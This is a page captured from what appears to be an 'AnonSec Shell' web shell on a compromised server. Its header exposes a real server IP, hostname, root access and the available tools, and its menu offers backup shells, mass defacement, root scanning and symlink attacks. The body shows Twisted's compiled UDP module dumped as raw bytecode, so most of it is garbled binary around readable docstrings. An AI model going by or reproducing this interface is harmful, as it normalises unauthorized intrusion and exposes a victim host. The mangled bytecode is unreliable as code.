AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/internet/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/internet/__pycache__/udp.cpython-310.pyc
o

�b�H�@s`dZddlZddlZddlZddlmZddlmZddlm	Z	e	dkrWddl
mZddl
mZdd	l
m
Z
mZmZmZmZmZmZeeeegZe
eeegZeZe
ZeZeZndd
l
mZmZmZmZmZmZeeegZegZddlmZmZmZm Z m!Z!m"Z"ddl#m$Z$m%Z%ee"j&e"j'e"j(�Gd
d�dej)��Z*Gdd�d�Z+ee"j,�Gdd�de+e*��Z-dS)a�
Various asynchronous UDP classes.

Please do not use this module directly.

@var _sockErrReadIgnore: list of symbolic error constants (from the C{errno}
    module) representing socket errors where the error is temporary and can be
    ignored.

@var _sockErrReadRefuse: list of symbolic error constants (from the C{errno}
    module) representing socket errors that indicate connection refused.
�N)�Optional)�implementer)�platformType�win32)�WSAEINPROGRESS)�WSAEWOULDBLOCK)�WSAECONNREFUSED�
WSAECONNRESET�WSAEINTR�WSAEMSGSIZE�WSAENETRESET�WSAENOPROTOOPT�WSAETIMEDOUT)�EAGAIN�ECONNREFUSED�EINTR�EMSGSIZE�ENOPROTOOPT�EWOULDBLOCK)�abstract�address�base�defer�error�
interfaces)�failure�logc@s�eZdZUdZejZejZdZ	dZ
eee
d<dZd2dd�Zed	d
��Zdefdd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zd3dd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd3d$d%�Zd&d'�Z d(d)�Z!d*d+�Z"d,d-�Z#d.d/�Z$d0d1�Z%dS)4�Porta�
    UDP port, listening for packets.

    @ivar maxThroughput: Maximum number of bytes read in one event
        loop iteration.

    @ivar addressFamily: L{socket.AF_INET} or L{socket.AF_INET6}, depending on
        whether this port is listening on an IPv4 address or an IPv6 address.

    @ivar _realPortNumber: Actual port number being listened on. The
        value will be L{None} until this L{Port} is listening.

    @ivar _preexistingSocket: If not L{None}, a L{socket.socket} instance which
        was created and initialized outside of the reactor and will be used to
        listen for connections (instead of a new socket being created by this
        L{Port}).
    iN�_realPortNumber�� cCs@tj�||�||_||_||_||_|��d|_|�	�dS)a
        @param port: A port number on which to listen.
        @type port: L{int}

        @param proto: A C{DatagramProtocol} instance which will be
            connected to the given C{port}.
        @type proto: L{twisted.internet.protocol.DatagramProtocol}

        @param interface: The local IPv4 or IPv6 address to which to bind;
            defaults to '', ie all IPv4 addresses.
        @type interface: L{str}

        @param maxPacketSize: The maximum packet size to accept.
        @type maxPacketSize: L{int}

        @param reactor: A reactor which will notify this C{Port} when
            its socket is ready for reading or writing. Defaults to
            L{None}, ie the default global reactor.
        @type reactor: L{interfaces.IReactorFDSet}
        N)
r�BasePort�__init__�port�protocol�
maxPacketSize�	interface�	setLogStr�_connectedAddr�_setAddressFamily)�selfr#�protor&r%�reactor�r-�6/usr/lib/python3/dist-packages/twisted/internet/udp.pyr"[sz
Port.__init__c	Cs8t�|||j�}|��d}|d||||d�}||_|S)a�
        Create a new L{Port} based on an existing listening
        I{SOCK_DGRAM} socket.

        @param reactor: A reactor which will notify this L{Port} when
            its socket is ready for reading or writing. Defaults to
            L{None}, ie the default global reactor.
        @type reactor: L{interfaces.IReactorFDSet}

        @param fd: An integer file descriptor associated with a listening
            socket.  The socket must be in non-blocking mode.  Any additional
            attributes desired, such as I{FD_CLOEXEC}, must also be set already.
        @type fd: L{int}

        @param addressFamily: The address family (sometimes called I{domain}) of
            the existing socket.  For example, L{socket.AF_INET}.
        @type addressFamily: L{int}

        @param protocol: A C{DatagramProtocol} instance which will be
            connected to the C{port}.
        @type protocol: L{twisted.internet.protocol.DatagramProtocol}

        @param maxPacketSize: The maximum packet size to accept.
        @type maxPacketSize: L{int}

        @return: A new instance of C{cls} wrapping the socket given by C{fd}.
        @rtype: L{Port}
        rN)r&r,r%)�socket�fromfd�
socketType�getsockname�_preexistingSocket)	�clsr,�fd�
addressFamilyr$r%r#r&r*r-r-r.�_fromListeningDescriptorys �zPort._fromListeningDescriptor�returncCs2|jdurd|jj�d|j�d�Sd|jj�d�S)N�<z on �>z not connected>)rr$�	__class__�r*r-r-r.�__repr__�s
z
Port.__repr__cC�|jS)z)
        Return a socket object.
        )r/r<r-r-r.�	getHandle��zPort.getHandlecCs|��|��dS)z�
        Create and bind my socket, and begin listening on it.

        This is called on unserialization, and must be called after creating a
        server to begin listening on the specified port.
        N)�_bindSocket�_connectToProtocolr<r-r-r.�startListening�szPort.startListeningc
Cs�|jdur*z|��}|�|j|jf�Wnty)}z	t�|j|j|��d}~ww|j}d|_|��d|_	t
�d|�|j
�|j	f�d|_||_|jj|_dS)aJ
        Prepare and assign a L{socket.socket} instance to
        C{self.socket}.

        Either creates a new SOCK_DGRAM L{socket.socket} bound to
        C{self.interface} and C{self.port} or takes an existing
        L{socket.socket} provided via the
        L{interfaces.IReactorSocket.adoptDatagramPort} interface.
        N�z%s starting on %s)r3�createInternetSocket�bindr&r#�OSErrorr�CannotListenErrorr2rr�msg�
_getLogPrefixr$�	connectedr/�fileno�r*�skt�ler-r-r.rA�s&

����zPort._bindSocketcCs|j�|�|��dS�N)r$�makeConnection�startReadingr<r-r-r.rB�szPort._connectToProtocolc
Cs�d}||jkrsz|j�|j�\}}Wn0tyB}z$|jd}|tvr*WYd}~dS|tvr=|jr6|j	�
�WYd}~dS�d}~ww|t|�7}|jtj
krU|dd�}z	|j	�||�Wn
tykt��Ynw||jksdSdS)z=
        Called when my socket is ready for reading.
        rN�)�
maxThroughputr/�recvfromr%rG�args�_sockErrReadIgnore�_sockErrReadRefuser(r$�connectionRefused�lenr6�AF_INET6�datagramReceived�
BaseExceptionr�err)r*�read�data�addr�se�nor-r-r.�doRead�s0


��
��zPort.doReadc
Cs�|jrO|d|jfvsJ�z|j�|�WStyN}z/|jd}|tkr/|�|�WYd}~S|tkr8t�	d��|t
krB|j��n�WYd}~dSd}~ww|dksUJ�t
�|d�sqt
�|d�sq|ddkrqt�|dd��t
�|d�s~|ddkr�|jtjkr�t�|dd��t
�|d�r�|jtjkr�t�|dd��z|j�||�WSty�}z*|jd}|tkr�|�||�WYd}~S|tkr�t�	d��|t
kr�WYd}~dS�d}~ww)az
        Write a datagram.

        @type datagram: L{bytes}
        @param datagram: The datagram to be sent.

        @type addr: L{tuple} containing L{str} as first element and L{int} as
            second element, or L{None}
        @param addr: A tuple of (I{stringified IPv4 or IPv6 address},
            I{integer port number}); can be L{None} in connected mode.
        Nrzmessage too longz<broadcast>z0write() only accepts IP addresses, not hostnamesz7IPv6 port write() called with IPv4 or broadcast addressz*IPv4 port write() called with IPv6 address)r(r/�sendrGrVr�writerr�MessageLengthErrorrr$rYr�isIPAddress�
isIPv6Address�InvalidAddressErrorr6r[�AF_INET�sendto)r*�datagramrarbrcr-r-r.rfsb

���������

��z
Port.writecCs|�d�|�|�dS)a�
        Write a datagram constructed from an iterable of L{bytes}.

        @param seq: The data that will make up the complete datagram to be
            written.
        @type seq: an iterable of L{bytes}

        @type addr: L{tuple} containing L{str} as first element and L{int} as
            second element, or L{None}
        @param addr: A tuple of (I{stringified IPv4 or IPv6 address},
            I{integer port number}); can be L{None} in connected mode.
        �N)rf�join)r*�seqrar-r-r.�
writeSequence@s
zPort.writeSequencecCsL|jrtd��t�|�st�|�st�|d��||f|_|j�||f�dS)z-
        'Connect' to remote server.
        z:already connected, reconnecting is not currently supported�not an IPv4 or IPv6 address.N)	r(�RuntimeErrorrrhrirrjr/�connect)r*�hostr#r-r-r.rtOs�
zPort.connectcCs&|��|jr|j�d|j�dSdS)Nr)�stopReadingrKr,�	callLater�connectionLostr<r-r-r.�_loseConnection\s�zPort._loseConnectioncCs&|jrt��}|_nd}|��|SrP)rKr�Deferred�dry)r*�resultr-r-r.�
stopListeningas
zPort.stopListeningcCstjdtdd�|��dS)Nz-Please use stopListening() to disconnect portrS)�
stacklevel)�warnings�warn�DeprecationWarningr}r<r-r-r.�loseConnectionis�zPort.loseConnectioncCsht�d|j�d|_d|_tj�||�|j��|j	�
�|`	|`t|d�r2|j
�d�|`
dSdS)z&
        Cleans up my socket.
        z(UDP Port %s Closed)N���r{)rrIrrTrr!rxr$�doStopr/�closerL�hasattrr{�callback)r*�reasonr-r-r.rxqs


�zPort.connectionLostcCs|�|j�}d||_dS)zP
        Initialize the C{logstr} attribute to be used by C{logPrefix}.
        z%s (UDP)N)rJr$�logstr)r*�	logPrefixr-r-r.r'�szPort.setLogStrcCsHt�|j�rtj|_dSt�|j�rtj|_dS|jr"t�	|jd��dS)z8
        Resolve address family for the socket.
        rrN)
rrir&r/r[r6rhrkrrjr<r-r-r.r)�s��zPort._setAddressFamilycCr>)z0
        Return the prefix to log with.
        )r�r<r-r-r.r��r@zPort.logPrefixcCsR|j��}|jtjkrtjdg|�R�S|jtjkr'tjdg|dd��R�SdS)z�
        Return the local address of the UDP connection

        @returns: the local address of the UDP connection
        @rtype: L{IPv4Address} or L{IPv6Address}
        �UDPNrS)r/r2r6rkr�IPv4Addressr[�IPv6Address�r*rar-r-r.�getHost�s
�zPort.getHostcCs|j�tjtj|�dS)z�
        Set whether this port may broadcast. This is disabled by default.

        @param enabled: Whether the port may broadcast.
        @type enabled: L{bool}
        N)r/�
setsockopt�
SOL_SOCKET�SO_BROADCAST)r*�enabledr-r-r.�setBroadcastAllowed�szPort.setBroadcastAllowedcCst|j�tjtj��S)z�
        Checks if broadcast is currently allowed on this port.

        @return: Whether this port may broadcast.
        @rtype: L{bool}
        )�boolr/�
getsockoptr�r�r<r-r-r.�getBroadcastAllowed�szPort.getBroadcastAllowed)rr NrP)&�__name__�
__module__�__qualname__�__doc__r/rkr6�
SOCK_DGRAMr1rTrr�int�__annotations__r3r"�classmethodr7�strr=r?rCrArBrdrfrqrtryr}r�rxr'r)r�r�r�r�r-r-r-r.r>s:


+
#
 >



	rc@sleZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
ddd�Zdd�Zdd�Z
ddd�ZdS)�MulticastMixinz,
    Implement multicast functionality.
    cCs$|j�tjtj�}t�t�d|��S)Nz@i)r/r��
IPPROTO_IP�IP_MULTICAST_IF�	inet_ntoa�struct�pack)r*�ir-r-r.�getOutgoingInterface�sz#MulticastMixin.getOutgoingInterfacecCs|j�|��|j�S)zReturns Deferred of success.)r,�resolve�addCallback�
_setInterfacer�r-r-r.�setOutgoingInterface�sz#MulticastMixin.setOutgoingInterfacecCs"t�|�}|j�tjtj|�dS)NrD)r/�	inet_atonr�r�r�)r*rar�r-r-r.r��s
zMulticastMixin._setInterfacecC�|j�tjtj�SrP)r/r�r��IP_MULTICAST_LOOPr<r-r-r.�getLoopbackMode��zMulticastMixin.getLoopbackModecCs(t�dt|��}|j�tjtj|�dS)N�b)r�r�r�r/r�r�r�)r*�moder-r-r.�setLoopbackMode�szMulticastMixin.setLoopbackModecCr�rP)r/r�r��IP_MULTICAST_TTLr<r-r-r.�getTTL�r�zMulticastMixin.getTTLcCs$t�d|�}|j�tjtj|�dS)N�B)r�r�r/r�r�r�)r*�ttlr-r-r.�setTTL�szMulticastMixin.setTTLrcC�|j�|��|j|d�S)z4Join a multicast group. Returns Deferred of success.rD�r,r�r��
_joinAddr1�r*rar&r-r-r.�	joinGroup��zMulticastMixin.joinGroupcCs|j�|��|j||�SrP)r,r�r��
_joinAddr2)r*rar&ror-r-r.r��szMulticastMixin._joinAddr1c
Cs�t�|�}t�|�}|rtj}ntj}z|j�tj|||�WdStyA}zt�t	j
||g|j�R��WYd}~Sd}~wwrP)r/r��IP_ADD_MEMBERSHIP�IP_DROP_MEMBERSHIPr�r�rGr�Failurer�MulticastJoinErrorrV)r*r&raro�cmd�er-r-r.r��s

(��zMulticastMixin._joinAddr2cCr�)z2Leave multicast group, return Deferred of success.rr�r�r-r-r.�
leaveGroup�r�zMulticastMixin.leaveGroupN)r)r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r-r-r-r.r��s
r�c@s*eZdZdZ				d
dd�Zdd	�ZdS)�
MulticastPortz.
    UDP Port that supports multicasting.
    rr NFcCst�||||||�||_dS)zX
        @see: L{twisted.internet.interfaces.IReactorMulticast.listenMulticast}
        N)rr"�listenMultiple)r*r#r+r&r%r,r�r-r-r.r"�s
zMulticastPort.__init__c
Cs~t�|�}|jr=|�tjtjd�ttd�r=z|�tjtjd�W|St	y<}z|j
tkr0n�WYd}~|Sd}~ww|S)NrD�SO_REUSEPORT)rrEr�r�r/r��SO_REUSEADDRr�r�rG�errnorrMr-r-r.rEs 

�

���z"MulticastPort.createInternetSocket)rr NF)r�r�r�r�r"rEr-r-r-r.r��s
�r�).r�r/r�r�typingr�zope.interfacer�twisted.python.runtimerr�rrrr	r
rrr
rrrWrXrrrrr�twisted.internetrrrrrr�twisted.pythonrr�IListeningPort�
IUDPTransport�
ISystemHandler!rr��IMulticastTransportr�r-r-r-r.�<module>s>$ 
 �|8

Anon7 - 2022
AnonSec Team